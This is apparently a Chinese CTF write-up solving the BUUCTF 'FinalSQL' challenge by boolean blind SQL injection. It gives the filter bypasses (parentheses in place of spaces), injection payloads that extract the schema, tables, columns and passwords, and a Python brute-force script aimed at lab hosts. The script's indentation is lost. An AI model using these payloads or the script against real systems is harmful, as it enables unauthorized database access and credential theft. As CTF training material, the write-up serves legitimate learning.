别看是什么finalsql,其实也不难。
登录已经不能注入了。提示给的什么代码获取flag。点击5看到这个。让我们去访问6
直接把url里的id改为6不就行了??
已经提示是盲注了。先使用fuzz大法,看一下过滤了哪些。
这一堆东西被过滤了。但是没戳中要害。要注意的是空格也被过滤了。因为url会自动删除空格,所有检查不到。使用"()"---代替--->空格
若返回为True,这回出现clever
?id=6=Ture
若返回False则会出现No。这就是盲注的判断正误的标准
?id=6=False
判断数据库长度
?id=6=(length(database())=4)
长度为4。接下来,判断数据库的第一个字母
?id=6=(substr(database(),1,1)=%27g%27)
第一个字母为'g',接下来只需要构造(substr(database(),2,1)=%27g%27来判断第二个字母即可。这里的数据库名为geek。
接下来判断表名。一定要加上group_concat()函数
?id=6=(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27geek%27),1,1))=70)
判断列名
?id=6=(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),1,1))=60)
读取字段内容
?id=6=(ASCII(SUBSTR((select(group_concat(password))from(F1naI1y)),1,1))=102)
当然内容这么多,肯定不能手工,上py脚本
import requests
flag=''
#url='http://73a45cbc-48af-4a46-99b7-3d6f5a2ece0d.node5.buuoj.cn:81/search.php?id=6=(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27geek%27),1,1))=70)'
for i in range(160,500,1):
for y in range(1,128,1):
#url = 'http://6a287c2e-bc55-41b6-b33c-f0e86d1dcd3e.node5.buuoj.cn:81/search.php?id=6=(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27geek%27),'+str(i)+',1))='+str(y)+')'
#url='http://6a287c2e-bc55-41b6-b33c-f0e86d1dcd3e.node5.buuoj.cn:81/search.php?id=6=(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),'+str(i)+',1))='+str(y)+')'
url='http://6a287c2e-bc55-41b6-b33c-f0e86d1dcd3e.node5.buuoj.cn:81/search.php?id=6=(ASCII(SUBSTR((select(group_concat(password))from(F1naI1y)),'+str(i)+',1))='+str(y)+')'
content=requests.get(url)
if "But not this table" in content.text:
flag=flag+chr(y)
print(flag)
break
从上到下依次循环执行3条url即可。当然没写线程与算法,脚本运行很慢